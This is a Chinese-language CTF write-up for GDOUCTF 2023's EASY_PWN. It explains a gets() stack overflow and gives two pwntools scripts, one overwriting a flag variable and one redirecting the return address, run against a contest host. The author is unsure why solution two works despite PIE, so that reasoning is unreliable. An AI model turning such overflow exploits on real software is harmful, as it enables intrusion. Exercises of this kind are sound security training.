收获

  • 比较经典的栈溢出,但是不要被前面的猜随机数迷惑了,直接溢出修改关键值

(2023年4月16日)【GDOUCTF 2023】EASY_PWN


思路

在 Ubuntu 下分析文件,并给予执行权限运行:

2023GDOUCTF-EASY_PWN1.png

用 64 位 IDA 打开,定位到主函数:

2023GDOUCTF-EASY_PWN2.png

主要是函数 check()

2023GDOUCTF-EASY_PWN3.png

注意到有个 print_flag() 函数:

2023GDOUCTF-EASY_PWN4.png

这个函数读取了靶机上的 flag.txt 文件,并将里面的内容输出,因此执行这个函数可以直接获得 flag

check() 函数的前半段有一个生成随机数的代码:

2023GDOUCTF-EASY_PWN5.png

这里调用 urandom 文件往 buf 中写入随机数
然后通过 gets() 获取用户输入 s1,如果 s1 与 随机生成的 buf 相等,就将 v5 的值改为 1
v5 == 1 时就可以调用 print_flag() 函数输出 flag

由于这里输入使用的是 gets() 函数,也就是说 s1 是必定可以溢出的

2023GDOUCTF-EASY_PWN6.png

观察栈中数据的位置,发现 v5s1 的下方,因此 v5 是可以被 s1 通过 gets() 覆盖的

这里注意:
不要被前面的猜随机数给迷惑了
是否执行 print_flag() 函数取决于 v5 的值是否非 0,而与是否猜对 buf 中的内容无关
因此大可不必去管 urandom 生成的随机数是什么

除此之外,通过 s1 直接覆盖返回值执行 print_flag() 函数也是可以的

因此这个题有两种思路:

  1. 通过溢出 s1 修改 v5 的值,只要将 v5 改为非 0 值即可
  2. 通过溢出 s1 修改函数返回地址,使其直接跳转到 print_flag() 函数

脚本

解法一

将 v5 的值修改为 1(或者其他非 0 值都可以)

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
content = 0


def main():
    if content == 1:
        io = process("./easypwn")
    else:
        io = remote("node1.anna.nssctf.cn", 28291)

    payload = b'a' * (0x1F - 0x04) + p64(1)  # 从s1到v5需要填充0x1F - 0x04个字节,p64(1)将v5修改为1

    io.sendlineafter("Password:\n", payload)

    io.interactive()


main()

解法二

直接将返回地址修改为 print_flag() 的地址
(不过有一点不太明白,既然开启了 PIE 地址随机化,为什么还能直接得到 print_flag() 的真实地址)

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
content = 0

elf = ELF("./easypwn")
print_flag = elf.symbols['print_flag']  # 通过elf获取ptint_flag()函数的地址

# ptint_flag_addr = 0x0011D5  # 在IDA直接查看ptint_flag()函数的地址,两种方法都可以


def main():
    if content == 1:
        io = process("./easypwn")
    else:
        io = remote("node1.anna.nssctf.cn", 28291)

    payload = b'a' * (0x1F + 0x08) + p64(print_flag)
    
    # payload = b'a' * (0x1F + 0x08) + p64(ptint_flag_addr)  # 两种方法都可以

    io.sendlineafter("Password:\n", payload)

    io.interactive()


main()

结果

NSSCTF{2e00ef92-c970-45a0-b36e-2287f14151d5}

2023GDOUCTF-EASY_PWN7.png